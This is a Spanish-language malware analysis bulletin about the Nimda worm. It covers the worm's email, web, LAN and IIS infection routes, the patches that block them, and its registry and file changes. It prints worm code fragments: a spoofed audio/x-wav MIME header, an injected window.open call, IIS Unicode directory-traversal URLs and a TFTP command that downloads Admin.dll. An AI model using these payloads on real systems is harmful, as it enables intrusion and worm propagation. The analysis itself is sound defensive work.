En la entrega de hoy conoceremos más a fondo a Nimda; de qué formas se
nos puede presentar, cómo intenta infectarnos de manera automática,
cómo prevenir esas infecciones y qué acciones lleva a cabo si logra
ejecutarse en un sistema.
Así nos llega…
Nimda puede atacar a los usuarios de Windows por tres vías diferentes:
por correo electrónico, al visitar una página Web o al estar en una
red local compartiendo recursos con otro ordenador infectado. Además,
tiene una cuarta vía de infección que afecta a los servidores Windows
basados en Internet Information Server.
1) Por correo electrónico
Nimda se autoenvía en un mensaje de correo electrónico con el archivo
«readme.exe» adjunto. Utiliza un formato HTML para explotar una
conocida vulnerabilidad de Internet Explorer, heredada por Outlook y
Outlook Express, de forma que puede ejecutar «readme.exe» sin
necesidad de que el usuario lo abra, basta con previsualizar el
mensaje en el cliente de correo.
Para lograrlo modifica la cabecera MIME que hace referencia a
«readme.exe» indicando que se trata de un archivo tipo audio/x-wav.
De esta forma engaña a Internet Explorer, que lo abre de manera
automática creyendo que se trata de un formato inofensivo, un simple
archivo de sonido. El resultado es el mismo al previsualizar el
mensaje en Outlook y Outlook Express, ya que los clientes de correo
de Microsoft utilizan los módulos de Internet Explorer para
interpretar HTML.
– —
db ‘Content-Type: audio/x-wav;’,0Dh,0Ah
db 9,’name=»readme.exe»‘,0Dh,0Ah
db ‘Content-Transfer-Encoding: base64’,0Dh,0Ah
– —
2) Infección al visualizar una página Web de un servidor infectado.
La página infectada contiene un código JavaScript que intenta abrir el
archivo «readme.eml» (.EML extensión de mensaje de correo electrónico)
y que explota de igual forma, con el mismo contenido, la
vulnerabilidad que acabamos de comentar para autoejecutar el código
del virus.
– —
db ‘window.open(«readme.eml»‘
db ‘, null, «resizable=no,top=6000,left=6000»)’,0
– —
3) En la red local
Una vez que logra infectar un sistema, Nimda recorre todas las
unidades locales y de red e infecta todos los directorios a los que
tiene acceso. Para conseguir propagarse, por un lado crea múltiples
archivos de mensajes de correo electrónico infectados con nombres
aleatorios y cuya extensión es .EML en el 95% de los casos y .NWS en
el 5% restante. Estos mensajes tienen el mismo contenido que los que
hemos descrito en los casos anteriores, por lo que si intentamos
visualizar estos archivos el virus se autoejecutará de manera
automática.
Por otro lado, también en todas las unidades locales y de red, busca
archivos cuyos nombres contengan «default», «index», «main» o «readme»
y cuya extensión sea .HTML, .HTM o .ASP. En estos archivos introduce
el mismo código JavaScript que en el caso (2), de manera que si
alguien visualiza estas páginas Web, «readme.eml» se abrirá
automáticamente y se producirá la infección. También infecta
ejecutables anteponiendo su código.
– —
push offset default ; «default»
push eax
call ebp ; strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_36173585
lea eax, [esp+160h+var_120]
push offset index ; «index»
– —
Así, si estamos en una red local donde uno de los equipos ha sido
infectado, podemos contaminarnos al intentar visualizar alguno de los
archivos que crea o modifica, ya sean mensajes de correo electrónico,
páginas Web o algún .EXE infectado. Estos archivos infectados los
podremos encontrar si accedemos a unidades de red, o en las unidades
de nuestro propio equipo si las tenemos compartidas.
Otra manera de infectarse automáticamente en una red local, sin
intentar visualizar algunos de los archivos infectados, sucede cuando
el gusano se ha copiado en la carpeta Inicio de nuestro sistema al
tener nuestra unidad C: totalmente compartida. Esto hace que al
iniciar el sistema el archivo infectado se autoejecute.
4) Infección directa de un servidor Web
Nimda intenta introducirse de forma automática en los servidores Web
basados en Internet Information Server explotando varias
vulnerabilidades a través de peticiones GET vía HTTP, bien buscando
tener acceso al intérprete de comandos, CMD.EXE, o al archivo
ROOT.EXE, un troyano que ya habría sido introducido con anterioridad
al ser infectado por los gusanos Code Red II o Sadmind.
– —
mov dword ptr [ebp-48h], offset scripts_dir ; «/scripts»
mov dword ptr [ebp-44h], offset MSADC_dir ; «/MSADC»
mov dword ptr [ebp-40h], offset aC_0 ; «/c»
mov dword ptr [ebp-3Ch], offset aD ; «/d»
mov dword ptr [ebp-38h], offset esc_char1 ; «/scripts/..%255c..»
mov dword ptr [ebp-34h], offset esc_char2 ; «/_vti_bin/..%255c../..%255c../..%255c..»
mov dword ptr [ebp-30h], offset esc_char3 ; «/_mem_bin/..%255c../..%255c../..%255c..»
mov dword ptr [ebp-2Ch], offset esc_char4 ; «/msadc/..%255c../..%255c../..%255c/..%c»…
mov dword ptr [ebp-28h], offset unicode_1 ; «/scripts/..%c1%1c..»
mov dword ptr [ebp-24h], offset unicode_2 ; «/scripts/..%c0%2f..»
mov dword ptr [ebp-20h], offset unicode_3 ; «/scripts/..%c0%af..»
mov dword ptr [ebp-1Ch], offset unicode_4 ; «/scripts/..%c1%9c..»
mov dword ptr [ebp-18h], offset aScripts__3563_ ; «/scripts/..%%35%63..»
mov dword ptr [ebp-14h], offset aScripts__35c__ ; «/scripts/..%%35c..»
mov dword ptr [ebp-10h], offset aScripts__25356 ; «/scripts/..%25%35%63..»
mov dword ptr [ebp-0Ch], offset aScripts__252f_ ; «/scripts/..%252f..»
– —
Si el servidor es vulnerable a algunos de los ataques que Nimda lleva
a cabo, aprovecha para ejecutar una sesión de TFTP y así descarga en
el servidor Web el archivo ADMIN.DLL, que contiene el código vírico.
Este archivo se copiará en las unidades C:, D: y E:
– —
TFTP_GET db ‘tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20’,0
– —
Más vale prevenir…
Clientes (casos 1, 2 y 3)
Para evitar que Nimda pueda explotar la vulnerabilidad de Internet
Explorer, e impedir así que se ejecute de forma automática el archivo
«readme.exe» al visualizar un mensaje infectado, debemos tener nuestro
navegador correctamente actualizado.
Las versiones vulnerables son Internet Explorer 5.01 y 5.5 que no
tengan instalado el Service Pack 2 o la actualización específica que
Microsoft distribuyó para este problema. Los usuarios de Internet
Explorer 6 no tienen que instalar ningún parche, no están afectados
por esta vulnerabilidad.
Esta vulnerabilidad, descubierta por Cuartango, fue corregida por
Microsoft, que facilitó un parche específico para ella. En lugar de
ese parche, recomendamos instalar una actualización acumulativa
posterior donde ya se corrigen otras vulnerabulidades además de la
que hoy nos ocupa:
Internet Explorer 5.01
http://www.microsoft.com/windows/ie/download/critical/q295106/default.asp
Internet Explorer 5.5
http://www.microsoft.com/windows/ie/download/critical/q299618/default.asp
Si tenemos el Internet Explorer correctamente actualizado, evitaremos
que Nimda pueda infectarnos de forma automática, con tan sólo
visualizar el mensaje en el que nos llega. Sin embargo, este parche
no debe darnos una falsa sensación de seguridad total contra Nimda,
ya que nos infectaríamos si abrimos el archivo adjunto.
Por tanto, una vez más, debemos seguir recordando la regla de oro de
no abrir archivos adjuntos no solicitados.
Servidores (caso 4)
En servidores Windows, Nimda explota varias vulnerabilidades, en
especial las relacionadas con la escalada de directorios a través de
caracteres Unicode en la URL.
Para lograr una protección contra todas las vulnerabilidades que
intenta explotar, lo mejor es instalar el último parche acumulativo
disponible según versión en:
IIS 4.0
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=32061
IIS 5.0
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=32011
Asimismo, no debemos olvidar inspeccionar nuestro servidor en busca de
troyanos, remanentes de una infección previa del Code Red y a los que
Nimda intenta acceder para lograr la infección.
Así infecta un sistema cuando logra ejecutarse…
Además de las acciones que ya hemos ido comentando, Nimda se copia
como «mmc.exe» en el directorio de Windows, como «load.exe» en el
directorio de sistemas, sobreescribe la biblioteca «riched20.dll» del
directorio de sistema y realiza una copia de la biblioteca infectada
en todos los directorios que contengan documentos (.doc). Por último,
se copia repetidas veces en el directorio temporal de Windows con
nombres de archivo aleatorios que empiezan por «mep» o «ma» y
terminan con las extensiones .TMP o .TMP.EXE.
«riched20.dll» es una biblioteca de Windows que utilizan los
procesadores de texto como Word o WordPad. La sustitución de esta
biblioteca por una infectada hace que el Nimda se ejecute cada vez
que se utilice uno de estos procesadores de texto.
Asimismo se asegura su ejecución mediante una modificación en el
system.ini:
[boot]
shell=explorer.exe load.exe -dontrunold
A continuación modifica una entrada en el registro de Windows para
que en el próximo inicio de sistema todas las unidades estén
compartidas:
HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\[C$ -> Z$]
En Windows 9x/Me las unidades estarán compartidas sin ninguna clave de
acceso, mientras que en Windows NT/2000 a la cuenta GUEST le da
derechos de los grupos Administrators (máximos privilegios) y Guests
(invitados).
En Windows NT/2000 elimina la clave que instaura la seguridad para
compartir de recursos:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Share\Security
Otras claves son creadas o modificadas para ocultar archivos y
extensiones:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
La infección continúa infectando archivos .EXE, anteponiendo su
código, con la excepción del archivo Winzip.exe al que no infecta.
Aunque es posible intentar la limpieza manual, a base de restaurar las
claves del registro, eliminar archivos infectados o instalar de nuevo
los modificados, son tantos pasos los que hay que dar que, para no
eternizar esta noticia y evitar descuidos, aconsejamos el uso de las
utilidades que los antivirus están facilitando para realizar la
desinfección de manera automática.
Así se propaga…
Nos queda por comentar básicamente dos rutinas importantes de Nimda
para cerrar el círculo que iniciamos al explicar las formas en las
que podía llegar.
La primera es la propagación a través del correo electrónico. Las
direcciones de las víctimas las recolecta de archivos con extensión
.HTM y .HTML, o accediendo a los buzones de correo a través de MAPI.
El mensaje que envía en formato HTML explota la vulnerabilidad que
comentamos al principio de la noticia para intentar autoejecutar el
archivo adjunto «readme.exe» nada más ser previsualizado con Outlook
y Outlook Express. Para el envío Nimda cuenta con su propia rutina
SMTP.
La segunda es la búsqueda de servidores Webs, que lleva a cabo
lanzando peticiones GET que intentan explotar vulnerabilidades del
Internet Information Server contra direcciones IP al azar. Además de
infectar servidores Web, este proceso conlleva un continuo tráfico
que, como efecto secundario, puede degradar las comunicaciones en
Internet.
Por último indicar que en el código del virus aparece la siguiente
cadena a modo de firma:
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China
bernardo@hispasec.com
Deja una respuesta